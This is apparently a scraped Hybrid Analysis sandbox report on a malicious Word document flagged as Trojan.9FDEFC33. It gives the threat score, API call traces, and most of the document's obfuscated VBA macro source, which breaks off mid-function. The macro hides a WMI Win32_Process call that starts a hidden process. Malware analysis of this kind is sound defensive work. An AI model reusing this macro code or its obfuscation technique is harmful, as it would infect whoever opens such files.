24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 35:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.9FDEFC33 Sample 97dbf6429c8a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 97dbf6429c8a…. Malware family: Trojan.9FDEFC33. Threat score 100/100. 18/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f","keywords":["Malicious","Trojan.9FDEFC33","malware analysis","sandbox report","threat intelligence","97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f"],"about":{"@type":"SoftwareApplication","name":"RE_583658295301_1004.doc","applicationCategory":["doc","office"],"identifier":"97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.9FDEFC33","antivirusDetections":{"malicious":18,"total":28},"behavioralIndicators":{"malicious":9,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T442,GetProcessHeap@KERNEL32.DLL at 00025998-00003536-22420-9-00401532 GetProcessHeap@KERNEL32.DLL at 00025998-00003536-22420-11-004014F2 GetProcessHeap@KERNEL32.DLL at 00025998-00003536-22420-226-0040257D GetProcessHeap@KERNEL32.DLL at 00025998-00003536-22420-225-00402561 GetProcessHeap@KERNEL32.DLL at 00026222-00003372-25813-9-00401532 GetProcessHeap@KERNEL32.DLL at 00026222-00003372-25813-11-004014F2 GetProcessHeap@KERNEL32.DLL at 00026222-00003372-25813-245-0040257D GetProcessHeap@KERNEL32.DLL at 00026222-00003372-25813-244-00402561 GetProcessHeap@KERNEL32.DLL at 00026760-00003396-30817-9-00401532 GetProcessHeap@KERNEL32.DLL at 00026760-00003396-30817-11-004014F2 GetProcessHeap@KERNEL32.DLL at 00026760-00003396-30817-225-00402561 GetProcessHeap@KERNEL32.DLL at 00026760-00003396-30817-226-0040257D GetProcessHeap@KERNEL32.DLL at 00026973-00002400-33929-9-00401532 GetProcessHeap@KERNEL32.DLL at 00026973-00002400-33929-11-004014F2 GetProcessHeap@KERNEL32.DLL at 00026973-00002400-33929-252-00402561 GetProcessHeap@KERNEL32.DLL at 00026973-00002400-33929-253-0040257D26:Ta1d7,File "virtualjnt.cls" (Streampath: "Macros/VBA/virtualjnt") has code: "" File "bluezij.bas" (Streampath: "Macros/VBA/bluezij") has code: "Function Surinamenjp() On Error Resume Next '/Floridazun 'Lead 24/365 interfaces Uzbekistan action-items CSS Awesome Soft Table District facilitate violet Azerbaijanian_Manatsjt = "Solutions Illinois solution Personal Loan Account Facilitator connect Illinois Practical Fresh Pants overriding backing up Factors" '/Rieljfm While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'transform viral Wooden web-enabled Borders Incredible hacking national magnetic utilize Prairie Tools & Health Savings_Accountjhd = Azerbaijanian_Manatsjt + CInt(256) 'Alabama Venezuela Views Generic Fresh Mouse Egypt IB Bedfordshire Games 'quantify bandwidth Unbranded Cotton Tuna Central bandwidth mobile Home Loan Account collaborative Turkmenistan Concrete multibytecji = Azerbaijanian_Manatsjt + Len("402") 'Face to face Rustic Awesome Malawi Metal Tactics Personal Loan Account programming robust black 'Wooden Steel Pound Sterling demand-driven Incredible Granite Keyboard Sleek Plastic Table Supervisor neural Cotton Directorfjt = Azerbaijanian_Manatsjt + CInt(475) 'scalable Sleek Plastic Chicken index Investment Account bus Wooden Small Granite Bacon end-to-end engineer Soft artificial intelligence 'Knoll National Implemented Handmade Soft Chair Dynamic Customer Reunion bandwidth channels communities Driveswjq = Azerbaijanian_Manatsjt + Len("112") 'zero defect Wyoming Cambridgeshire Industrial & Tools black Plastic Fiji pink Iraqi Dinar leading-edge Intelligent Legacy 'alarm Small Plastic Computer Croatian Kuna Frozen compress AGP program New_Yorkrfh = Azerbaijanian_Manatsjt + Len("538") 'Sleek Steel Tuna Dam Monitored Senior Argentina Corporate FTP Handmade Cotton 'Cambridgeshire Toys open-source Motorway Applications systems Steel Estates bandwidthzia = Azerbaijanian_Manatsjt + CStr(Licensedhrw) 'dynamic Light Savings Account methodical withdrawal Brand 'Divide Rustic Plastic Fish Granite Brand invoice invoice Communications Fantastic hack budgetary management redundant Washington SAS sensor Wend 'Regional impactful Licensed B2C Graphic Interface Senior Sleekoqn = Brunei_Dollarhhi + "p" + Health__Toysfwz(virtualjnt.Toystcj + virtualjnt.parsingmls) 'Digitized payment wireless olive Ethiopia Auto Loan Account copy bricks-and-clicks Lakes FTP connect Incredible Metal Keyboard '/structurebqj 'hacking reciprocal Fantastic white Investor reboot Wooden Checking Account Orchestrator sensor transmit Pine circuit New Mexico Azerbaijanian_Manatsjt = "pricing structure Books & Baby backing up mindshare white Home Loan Account repurpose Quality needs-based Saudi Riyal Malawi" '/synthesizingpui While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Florida streamline feed Intelligent Fresh Soap Corporate Investment Account RSS Handcrafted_Soft_Balltjz = Azerbaijanian_Manatsjt + CInt(866) 'distributed deposit Manors overriding models Checking Account 'Auto Loan Account THX Networked optical responsive parallelism invoice Awesome_Steel_Soapdik = Azerbaijanian_Manatsjt + Len("604") 'synergies Savings Account Awesome neural transform Movies Incredible Generic Steel Car Industrial & Clothing uniform Rubber 'Intelligent Granite Gloves Infrastructure Cliff generating orchid Intelligent online calculate Administrator Denar Wooden national withdrawal solutions ebusinessivu = Azerbaijanian_Manatsjt + CInt(301) 'B2B Representative quantify synthesizing Handmade Checking Account Borders Isle Data generate Branding Assurance 'Global Fantastic Steel Ball Lead payment transitional Savings Account Bedfordshire invoice Illinois synthesize Intelligent_Granite_Shoeslnw = Azerbaijanian_Manatsjt + Len("846") 'Awesome Metal Salad bus invoice whiteboard B2B Gorgeous Granite Table transmit generating 'ubiquitous internet solution transmitter knowledge user parsing Metal Implementation Berkshire deposit Alaska unleash salmon Inlet strategizeitt = Azerbaijanian_Manatsjt + Len("450") 'Gorgeous Danish Krone lime initiatives embrace challenge Unbranded Granite Computer Fantastic New York next-generation back up calculate 'regional Persistent feed Markets protocol THX navigate product copying tan Centralmlf = Azerbaijanian_Manatsjt + CStr(copybaz) 'Technician Bedfordshire Manat Books, Computers & Health withdrawal Mississippi Personal Loan Account index Ferry panel Flat 'Ports Incredible Rubber Chair applications national Glens Chief Quality Health & Kids Distributed azure invoice Wend 'Tasty Rubber Gloves Object-based Ergonomic Concrete Keyboard generating communities Licensed Refined Fresh Pants Health, Outdoors & Electronics Creekvak = auxiliaryfik 'cross-platform TCP Monitored multimedia parse Fords Architect Gorgeous quantifying neural methodologies Open-source web-readiness Set Rustic_Concrete_Baconflz = CreateObject(Health__Toysfwz(Health__Toysfwz(CStr(199017 + 61 - 199017) + "6161616161616161616161winmgmt61616161s:Win32_616161616161Proce616161616161616161ss"))) Creekvak = Creekvak + Rustic_Concrete_Baconflz.Create((Sleekoqn), Runlzr, upwardtrendingjtc, quantifyingkkj) '/mobilezvj 'value-added impactful tan Brunei Dollar SAS Ergonomic Frozen Chicken Walk withdrawal Home Loan Account violet primary mint green deposit Azerbaijanian_Manatsjt = "cross-platform Hills Field Concrete utilisation parse Taiwan Freeway Licensed Bahamian Dollar Managed throughput" '/Groupiuh While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Internal programming Expanded Avenue quantifying installation generate Buckinghamshire Kids__Toyswjj = Azerbaijanian_Manatsjt + CInt(110) 'Maine payment Norfolk Island Sports Afghanistan convergence Tennessee streamline Jersey interface silver Fantastic Soft Keyboard COM Unbranded Concrete Ball 'Customer PNG Investment Account Streamlined Austria port Sleek Plastic Bacon District AI index seize Money Market Account generate Sleek_Plastic_Shirtozp = Azerbaijanian_Manatsjt + Len("264") 'Soft calculate hack Ways Orchestrator partnerships cyan GB regional white bypassing Home Loan Account Beauty, Beauty & Electronics 'Avon migration feed compress Sleek Home, Sports & Home Electronics, Outdoors & Beauty yellow bypassing compressinghzp = Azerbaijanian_Manatsjt + CInt(43) 'Norway Ergonomic Wooden Soap Investor Licensed Berkshire Practical Bedfordshire Fresh orange 'grey Indiana distributed multi-state Personal Loan Account Coordinator contingency Small Credit Card Account Sleek Lake online Marketsbij = Azerbaijanian_Manatsjt + Len("657") 'cutting-edge Product Russian Ruble e-services Global Corporate Soft multi-byte global Executive primary 'Refined Cotton Table Mississippi synthesize application Arizona Applications invoice Usability whitezfz = Azerbaijanian_Manatsjt + Len("23") 'Radial Buckinghamshire synergy Configuration connecting Incredible Cotton Chicken Algerian Dinar Argentine Peso 'Response Frozen Idaho back-end Checking Account copying Regional value-added Burundi Money Market Account generatejwh = Azerbaijanian_Manatsjt + CStr(Graniteuwk) 'Minnesota Buckinghamshire Savings Account Iceland user-centric repurpose calculate Technician quantifying 'Concrete Officer success Kids & Shoes Administrator Awesome Rubber Pants Wend 'Berkshire redundant encoding Riel 1080p Belize Dollar Indiana bandwidth Refined Steel Shirt niches Generic Metal Computer Auto Loan Account End Function" File "functionalitiestfi.bas" (Streampath: "Macros/VBA/functionalitiestfi") has code: "Function upwardtrendingjtc() On Error Resume Next '/fuchsiapnt 'withdrawal Trail Borders Finland Indiana Sports & Books calculating system Human Mali Gibraltar Azerbaijanian_Manatsjt = "Plastic Kids & Music US Dollar Avon Incredible Granite Chair multi-byte" '/Directorsrv While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Republic of Korea turn-key Functionality bricks-and-clicks ADP Checking Account granularkvd = Azerbaijanian_Manatsjt + CInt(683) 'Grocery & Music back-end override Connecticut Comoro Franc Port Licensed Frozen Hat next generation Money Market Account streamline cyan 'applications Engineer Cape Verde Buckinghamshire scalable Personal Loan Account Greece modular Jewelery & Automotive Gorgeous Concrete Towels copy Fullyconfigurableuzd = Azerbaijanian_Manatsjt + Len("658") 'Unbranded Cotton Chicken Outdoors & Automotive circuit black Home Loan Account Chief 'task-force red Grocery, Industrial & Home Specialist secured line Generic supply-chains Tasty Rubber Ball deposit 5th generation Pine strategize Comoroslmz = Azerbaijanian_Manatsjt + CInt(777) 'input Visionary Frozen frame copy tan portals Kids Generic 'productivity connect Louisiana Home Loan Account programming Group proactive Brandfdh = Azerbaijanian_Manatsjt + Len("296") 'Nebraska Automated open architecture Plastic Handmade Fresh Cheese Refined application violet Venezuela Generic Steel Gloves Kina Berkshire Lights solid state 'ADP IB back up groupware Vanuatu driver onetooneihp = Azerbaijanian_Manatsjt + Len("922") 'Shoals regional impactful firewall Regional Agent West Virginia cross-platform ivory Investor Principal Dynamic 'Architect capability Ergonomic Cotton Computer Principal Palladium repurpose Generic Metal Ball Grocery & Automotive secured line payment Robust Ergonomic Wooden Tuna generating Algerian_Dinarqmh = Azerbaijanian_Manatsjt + CStr(invoicedwf) 'optical Borders extend Accountability Planner fresh-thinking info-mediaries Euro Dynamic Division Assimilated Practical Granite Hat SMTP Licensed Fresh Car 'Soft Dynamic Ergonomic Fresh Bike Mauritius Assurance Indiana policy Licensed turquoise Iraqi Dinar unleash Kwanza Wend 'Fresh Product overriding microchip intranet Missouri Soft '/bypassingspp 'monitor Dynamic Practical Dynamic Decentralized Fords Islands unleash orchestrate Botswana Associate end-to-end Azerbaijanian_Manatsjt = "application Industrial & Shoes Awesome Metal Shirt capacitor Rue deposit Fresh Run Norwegian Krone Inlet connecting Practical Frozen Chips calculating" '/fullrangernv While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'bandwidth National Mountains Networked Strategist Hawaii Handcraftedajv = Azerbaijanian_Manatsjt + CInt(663) 'Investment Account model Bedfordshire Executive Passage Connecticut Handcrafted Granite Table Shoals River Arizona Senegal cross-platform 'multi-byte deposit synthesize Fantastic Metal Shirt Open-source Assurance Computers, Sports & Music digital mobile solid state Integrated quantifying empowerljo = Azerbaijanian_Manatsjt + Len("626") 'Unions South Georgia and the South Sandwich Islands Granite technologies next-generation SDD 'reboot Intelligent Steel Bacon International neural Solomon Islands Dollar Industrial Terrace Centralwzu = Azerbaijanian_Manatsjt + CInt(496) 'tan contingency panel Buckinghamshire Turkish Lira Polarised synergy Clothing metrics generating navigating Bulgaria synthesizing 'Sharable mobile Sierra Leone Crescent front-end backing up wireless Berkshire Intelligentbcd = Azerbaijanian_Manatsjt + Len("400") 'Movies, Beauty & Outdoors Sri Lanka Rupee portal Soft encompassing Licensed Refined end-to-end 'Human calculating 1080p wireless invoice streamline Rustic Granite Table backing up plug-and-play Guadeloupe Denmark integrate impactful Credit_Card_Accountowf = Azerbaijanian_Manatsjt + Len("97") 'reciprocal microchip Berkshire Mississippi Tasty Plastic Cheese Small navigating streamline Cove quantifying 'Associate Massachusetts hard drive engage enterprise methodologies metrics Concrete Row Burg Woodenpdp = Azerbaijanian_Manatsjt + CStr(Home_Loan_Accountnfr) 'systematic generate connecting Belarus copying Falls 'Communications wireless Checking Account UAE Dirham Awesome Home Loan Account Wend 'evolve Villages circuit Trace South Dakota embrace zero tolerance Georgia Incredible Soft Chair concept Licensed Steel Table Mountain Automotive & Baby Ergonomic Set upwardtrendingjtc = CreateObject(Unionclc + Health__Toysfwz(virtualjnt.Estateaah + valueaddedhos)) '/Smalllal 'ivory Intranet wireless HDD deposit Public-key e-commerce Lithuania Consultant quantifying mint green Licensed Fresh Pizza Viaduct Azerbaijanian_Manatsjt = "parsing SMS Lead neural high-level Bangladesh Metal Virginia Isle Books Beauty & Kids" '/transmitteroaz While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Refined Rubber Chair Games, Baby & Automotive Unbranded feed incremental cross-platform wireless hybrid real-time Lesotho hackingnaw = Azerbaijanian_Manatsjt + CInt(271) 'Savings Account tan quantifying National visualize FTP Consultant Wooden 'quantify Industrial quantifying Awesome Metal Keyboard end-to-end Frozen Ergonomic Maryland Walk Ergonomic Cotton Chair e-services Ports Berkshire Games & Clothing convergencecom = Azerbaijanian_Manatsjt + Len("153") 'invoice interface connect Frozen tan Arkansas real-time open-source Knoll British Indian Ocean Territory (Chagos Archipelago) Investment Account Divide 'Montana Fantastic Wooden Bike Soft Cotton Fully-configurable back up Checking Account overriding Dynamicbmm = Azerbaijanian_Manatsjt + CInt(474) 'Chief Berkshire Licensed AGP Communications Music mint green 'Tasty Concrete Shirt transmitter Identity parse EXE Berkshire paymentvzs = Azerbaijanian_Manatsjt + Len("67") 'Spurs Glen incubate Credit Card Account violet Operative FTP 'Saint Barthelemy Incredible Rustic Rubber Chair visualize Practical Infrastructure Jordanian Dinar Genericivj = Azerbaijanian_Manatsjt + Len("599") 'Focused extend South Africa Shoal pixel Minnesota transmit Intelligent Frozen Tuna backing up 'COM Island navigating mindshare lavender Checking Account Assistant User-centric Ergonomic Soft Chicken Incredible Rubber Table Drive intermediate Tunisia Handcrafted_Concrete_Chairzdj = Azerbaijanian_Manatsjt + CStr(implementkil) 'Bedfordshire Qatari Rial Norfolk Island backing up Security applications Pennsylvania Architect Walk 'Fields Sports, Games & Outdoors Wyoming Baby, Games & Outdoors Extended Bedfordshire harness knowledge base Rustic Metal encoding transmit Avon Dalasi Wend 'Paradigm HDD Martinique parse invoice Focused Designer '/streamlineili 'Money Market Account neutral Rustic deposit Fresh bandwidth HDD hack Palestinian Territory Configuration Chief e-business Azerbaijanian_Manatsjt = "neural Kentucky AGP Internal application withdrawal Rhode Island Kids & Automotive silver navigating Costa Rican Colon tan intranet leading-edge" '/Spurssrz While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Credit Card Account PCI Product Louisiana Refined Frozen Salad transform Product Shores withdrawal Vision-oriented system Fantastic Wooden Shirt Cotton JBODpzv = Azerbaijanian_Manatsjt + CInt(41) 'Identity Borders Tasty Rubber Mouse USB Jewelery clicks-and-mortar Lead Forks Chief Utah Agent Personal Loan Account Bedfordshire Cameroon 'teal reboot Lane matrix Dynamic e-business Identity Integration hackkkm = Azerbaijanian_Manatsjt + Len("716") 'technologies Cotton Connecticut Multi-channelled convergence Romania Azerbaijan Fresh distributed bypassing Tools & Health mission-critical 24/7 'Norfolk Island Communications Markets Aruba Rustic Rubber Car Specialist Avon Lead Trace Lebanon Louisiana Timor-Leste Versatile Movies & Automotive Savings_Accountkid = Azerbaijanian_Manatsjt + CInt(397) 'parse Mobility Vermont back-end California program Consultant Handcrafted Response Freeway Sleek Metal Chair 'Rubber Small Awesome Steel Hat Generic Plastic Chair scale Alabama orange magnetic card enterprise haptic Movies, Jewelery & Jewelery database Investor USBwdb = Azerbaijanian_Manatsjt + Len("94") 'Assistant matrix Associate Decentralized interactive Incredible Concrete Cheese Arizona GB 'directional open-source 24/7 Home Loan Account implementation Synchronised Consultant Creek Hawaii programazk = Azerbaijanian_Manatsjt + Len("448") 'Berkshire 24/365 Chad Shoes Sharable Analyst reboot Tasty Metal Bacon 'connect Ghana Shores reboot Macedonia strategy Intelligent ivoryzwc = Azerbaijanian_Manatsjt + CStr(impactfulrft) 'engage Slovakia (Slovak Republic) PNG Savings Account Sleek Cotton Fish holistic Cambridgeshire 1080p 'virtual 1080p Solutions THX compress Saint Helena Hills application Wooden action-items Fresh sky blue web-readiness Legacy Wend 'users interfaces firewall Licensed e-commerce Home Loan Account Future upwardtrendingjtc.ShowWindow = wdTextureNone '/Small_Metal_Hatahl 'Clothing & Home Industrial Texas internet solution Prairie Direct disintermediate Research Intelligent Frozen Bacon Program Functionality Coordinator Borders Azerbaijanian_Manatsjt = "ADP SCSI synthesizing Steel 1080p JSON Steel" '/zero_defectilv While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'systemic Handcrafted Wooden Gloves Yen back up Awesome Soft Ball Licensed Garden calculate Movies, Home & Health azure Graphic Interface proactive circuit bypass Mandatoryjnk = Azerbaijanian_Manatsjt + CInt(607) 'Plastic clear-thinking indexing invoice compressing Automotive, Books & Shoes Kwacha dynamic Business-focused 'Fantastic deposit bypass repurpose Assistant XML Clothing, Automotive & Electronics Directives recontextualize Cottonnda = Azerbaijanian_Manatsjt + Len("954") 'Advanced Island Baby Investment Account syndicate American Samoa Toys, Books & Movies empower Refined Creek 'synergy analyzer navigate architect SDD PCI Seamless transmit Crossgroupidc = Azerbaijanian_Manatsjt + CInt(311) 'protocol Berkshire recontextualize Developer card cyan bypass Regional Kansas Ergonomic Frozen Soap RAM Baby Marketing Islands 'Focused New Hampshire Books & Shoes plug-and-play Money Market Account Drives Berkshire digital Buckinghamshire Legacy Rupiahcat = Azerbaijanian_Manatsjt + Len("426") 'invoice Concrete magnetic Incredible Sleek Wooden Chips Intranet sky blue TCP Mexico panel empower web services Syrian Arab Republic synthesizing 'Turkish Lira Berkshire Auto Loan Account Square Planner invoice SDD Sleek Concrete Salad Extended grid-enabled empowering Incredible_Concrete_Chipslbj = Azerbaijanian_Manatsjt + Len("964") 'Grocery & Jewelery redundant Dynamic Bedfordshire copying Berkshire Architect Ergonomic Steel Sausages Legacy directional Frozen 'pixel payment Bedfordshire Burundi Avon extensible Orchestrator withdrawal Borders solution-oriented Consultant Legacy mint green hackingtto = Azerbaijanian_Manatsjt + CStr(worldclassbhi) 'e-services Glen Decentralized CFA Franc BEAC withdrawal Washington quantify cross-platform Facilitator Cotton Cotton grid-enabled 'multi-state Automotive Quality PCI service-desk lime fuchsia Tasty Wooden Sausages e-enable Texas deposit Auto Loan Account Generic Soft Car Associate Wend 'Supervisor Coves matrix Kina Malaysian Ringgit Buckinghamshire Credit Card Account auxiliary Optimization Outdoors & Toys New Taiwan Dollar morph circuit '/bypassingtuh 'Money Market Account Ford RAM panel 5th generation Florida Re-contextualized silver Azerbaijanian_Manatsjt = "e-enable methodologies Supervisor withdrawal Sleek Practical Plastic Cheese bypass Home Loan Account Industrial & Computers Central Dynamic circuit" '/Virtualfot While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Creative client-server bricks-and-clicks Manors SQL plum Harbors Fantastic Frozen Ball connecting hierarchy Paraguay application Liaison Opensourceatz = Azerbaijanian_Manatsjt + CInt(952) 'Agent Incredible process improvement end-to-end silver Awesome global Fundamental Graphical User Interface quantifying 'Sleek Granite Tuna open-source Investment Account leverage Parkways port Venezuela Triple-buffered navigatingadr = Azerbaijanian_Manatsjt + Len("532") 'protocol Agent silver black Small Concrete Mouse envisioneer National 'Practical content Avon Refined Frozen Soap Lithuania backing up compress Cotton Steel deposit back-end architectures Booksmod = Azerbaijanian_Manatsjt + CInt(585) 'Generic asynchronous purple withdrawal green Rhode Island ROI deposit Infrastructure Buckinghamshire Coves well-modulated Tasty cyan 'invoice Refined Industrial, Toys & Toys navigating exploit networks Saudi Riyal clicks-and-mortar PCI Congo Woodenjph = Azerbaijanian_Manatsjt + Len("690") 'back up bandwidth Tactics access User-friendly input throughput Surinam Dollar Glen Rubber Rustic Fresh Toys optimal 'Tactics British Indian Ocean Territory (Chagos Archipelago) card compressing backing up Extended hacking markets Irelandkzj = Azerbaijanian_Manatsjt + Len("209") 'payment parse Overpass Forks Security Personal Loan Account Direct invoice Home Money Market Account Home Loan Account 'Auto Loan Account Plaza tangible data-warehouse Developer navigate transmit budgetary management scale Valleyibm = Azerbaijanian_Manatsjt + CStr(Heard_Island_and_McDonald_Islandswtz) 'Distributed Credit Card Account AI array Forges Texas 'transmit Music, Music & Games Paradigm benchmark quantifying Cross-platform circuit Producer Frozen TCP Villages Metrics Unbranded Frozen Table Handcrafted Wooden Sausages Wend 'Director bluetooth Tasty Cotton Table COM auxiliary withdrawal Architect Borders experiences Legacy Alabama purple Small End Function Function Health__Toysfwz(Harborhtw) On Error Resume Next '/Incredible_Concrete_Chairkfj 'experiences Connecticut Gambia Fantastic Wooden Gloves Connecticut Berkshire Refined Wooden Salad integrated Azerbaijanian_Manatsjt = "Central Designer coherent Jewelery online Grocery Movies & Automotive" '/Baby__Beautynts While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Beauty, Garden & Music Hollow Tasty Plastic Shoes Place Uzbekistan Sum project array Metrics Garden, Home & Automotive Money Market Account clientdrivenpbi = Azerbaijanian_Manatsjt + CInt(802) 'connecting Business-focused communities indexing implement withdrawal Fresh Ways hard drive Common Implementation 'Phased attitude Solutions overriding Intelligent Frozen Chair Graphical User Interface Fantastic Steel Pants copying Forward invoice Berkshirebnm = Azerbaijanian_Manatsjt + Len("47") 'back-end applications Road back-end reintermediate middleware compress software deposit Applications partnerships 'Chile National Denmark Organic grid-enabled Operations productivity Wall Money Market Account ADP payment Cotton Motorwayubw = Azerbaijanian_Manatsjt + CInt(579) 'Auto Loan Account Small application hacking innovate deposit Functionality 'blue scalable exploit deposit Analyst Programmable Myanmar Walks Trace Sleek Metal Fish Gorgeous Fresh Hat Springs missioncriticalcuw = Azerbaijanian_Manatsjt + Len("937") 'Generic Wooden Pants Fantastic Wooden Cheese Fresh dedicated index multi-byte bypass Enterprise-wide Key reciprocal violet Mississippi Program 'Facilitator tertiary Fantastic Cotton Salad Savings Account Stravenue generating Station card Customer Drivesail = Azerbaijanian_Manatsjt + Len("271") 'Buckinghamshire executive indigo forecast plum quantifying bypassing AI 'Facilitator magnetic cyan Corner input Ohio grey program Dynamicmmz = Azerbaijanian_Manatsjt + CStr(enterprisewsi) 'Maine Hawaii Personal Loan Account port Small Metal Chair productivity Producer microchip transmitting 'Applications engage e-business Knolls Pre-emptive Licensed Fresh Soap Granite North Dakota bypass Ergonomic Cotton Mouse violet mobile Wend 'program Strategist Utah archive Representative ADP extranet '/salmonfzv 'Practical Fresh Salad Metal payment Small Cotton Fish Tala Intelligent metrics maximize Investment Account Azerbaijanian_Manatsjt = "deposit 24/7 access Borders cross-platform program Home Home & Garden Incredible multi-tasking Customer" '/Humanzon While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'digital methodologies generate Associate Saudi Riyal Tunisian Dinar systemrzh = Azerbaijanian_Manatsjt + CInt(782) 'Kina Practical deposit Indiana Tasty transmitting Unbranded Wooden Towels encoding repurpose pixel 'Stream TCP Taka open-source Rustic innovative Credit Card Account Profound deposit Handcrafted_Rubber_Soapzru = Azerbaijanian_Manatsjt + Len("958") 'Metal Cambridgeshire efficient transmitting technologies index holistic Ergonomic Wooden Ball North Carolina 'interactive Squares SMTP Arizona implementation world-class deposit Common Generic Bedfordshire gold withdrawal Norway Synchronisedkbz = Azerbaijanian_Manatsjt + CInt(141) 'copying Sleek Cambridgeshire Small quantifying magenta Branding Toys, Automotive & Movies Handmade Fantastic Frozen Chair South Carolina Monitored 'Slovenia Gorgeous Synchronised lavender parse architectures Money Market Account Interactions bandwidth compressing Securedlfo = Azerbaijanian_Manatsjt + Len("747") 'ROI card Union Rand Granite Corporate COM transparent Cotton transmitter transmitting mobile payment Fresh 'paradigms Personal Loan Account Representative Movies program circuit fuchsia application neutral Tasty Wooden Bacon Representative Kids & Health calculate Checking_Accountaoj = Azerbaijanian_Manatsjt + Len("253") 'Forward connecting Refined Steel Mouse Global Handmade Plastic Soap e-commerce Personal Loan Account Timor-Leste applications Refined Plastic Ball 'invoice Optimization Square budgetary management Operations monitoring index Regionaldjm = Azerbaijanian_Manatsjt + CStr(Garden__Electronicsoim) 'Ergonomic Soft Hat Group Berkshire Hungary bluetooth Agent Balanced driver responsive Balanced Intuitive 'Gorgeous Estates invoice utilisation blue copying Sleek Fresh Pizza open-source Orchard Hryvnia navigating Wend 'Human virtual redefine Tasty Fresh Shirt Prairie Engineer alarm Refined metrics Unbranded Frozen Bike copyhsl = Harborhtw '/ebusinesscow 'Cotton Kids, Clothing & Clothing heuristic Shoes Small Fords Internal Buckinghamshire Intelligent Fresh Hat Sierra Leone Summit experiences redefine COM Azerbaijanian_Manatsjt = "Tasty Frozen Mouse orchestrate deposit lavender Strategist Arkansas Devolved Implementation Heights Unbranded Granite Shoes Station Synergistic" '/wa247nco While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'indexing withdrawal EXE quantifying next generation Bedfordshire Books, Automotive & Beauty El Salvador Unionvoh = Azerbaijanian_Manatsjt + CInt(426) 'maximize Vision-oriented Sleek Rubber Shirt global Buckinghamshire Washington cross-platform Guyana Dollar Bahamian Dollar Kids Future panel encryption 'HDD Interactions Texas methodical Berkshire virtual Rubber indigo Glenswqr = Azerbaijanian_Manatsjt + Len("563") 'Interactions aggregate Georgia Auto Loan Account communities Small Plastic Cheese Islands Compatible 'networks Sudan Beauty program programming optical withdrawal Plastic synthesizing Parkjim = Azerbaijanian_Manatsjt + CInt(681) 'Soft Wyoming Granite open architecture Exclusive driver paradigms Intelligent Cotton Ball Unbranded monitoring primary 'reboot Islands Nepal Multi-channelled Home Loan Account Plastic transmitting action-items Jordanian Dinar initiative Buckinghamshire Buckinghamshire indexing Electronics, Automotive & Health Tastyapv = Azerbaijanian_Manatsjt + Len("784") 'Way Fields cyan Directives Checking Account groupware programming card Texas override Regional 'model Administrator connecting Garden & Computers Bermudian Dollar (customarily known as Bermuda Dollar) Forint e-markets violet override withdrawal maroon invoice Wooden quantifyingtuw = Azerbaijanian_Manatsjt + Len("847") 'Avenue deliverables Cliffs New Taiwan Dollar Right-sized Fantastic Wooden Chair deposit monitor Implemented Usability 'withdrawal Rapids Uganda Shilling Passage auxiliary e-business Fantastic Fresh Sausages Borders payment strategize harness Handcrafted Soft Keyboard paymentrjm = Azerbaijanian_Manatsjt + CStr(optimizejbb) 'invoice Row tan leading-edge ubiquitous exploit world-class Supervisor Engineer 'compressing Licensed Concrete Tuna array Fords Direct Checking Account Automotive ADP Solomon Islands Dollar deposit pixel Falls Wend 'open-source Kuwaiti Dinar viral neural Cambridgeshire SMTP Solutions indigoqss = "61" '/Home_Loan_Accountpnn 'programming Intelligent Extended next-generation Handmade Wooden Soap leading edge orange Extension Azerbaijanian_Manatsjt = "withdrawal Direct SAS Oregon overriding French Southern Territories Intelligent Granite Chicken" '/bandwidthmonitoredvfb While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'synthesizing Customer envisioneer parsing Tasty Plastic Cheese Gorgeous Savings Account scalepuw = Azerbaijanian_Manatsjt + CInt(911) 'North Dakota Movies & Clothing Kids Berkshire Plastic synthesize Direct Road Isle Internal distributed Representative Central 'bluetooth Passage process improvement leverage Orchestrator Metal programmingzjo = Azerbaijanian_Manatsjt + Len("537") 'Viaduct SCSI Guarani solutions Port Borders gold invoice European Unit of Account 17(E.U.A.-17) Soft 'Refined optical connecting Strategist paradigm Frozen Road parse Applications FTP Directzzp = Azerbaijanian_Manatsjt + CInt(954) 'North Carolina Games Fantastic Avon Missouri Sleek extensible hack Small Wooden Tuna methodologies firewall Ukraine Avon 'European Unit of Account 17(E.U.A.-17) Automated digital Stream Credit Card Account override Thailand primaryzlc = Azerbaijanian_Manatsjt + Len("272") 'override Computers & Movies Outdoors, Grocery & Clothing deposit withdrawal Credit Card Account Fresh Lights Money Market Account Handcrafted Wooden Keyboard Global enhance 'Liaison Cuba Lithuania Handcrafted Cotton Chair backing up copy Ergonomic Soft Hat copyumz = Azerbaijanian_Manatsjt + Len("594") 'Strategist Money Market Account Practical Frozen Consultant Unbranded Incredible Cook Islands firewall Investment Account 'back-end Investment Account Berkshire Place Portugal 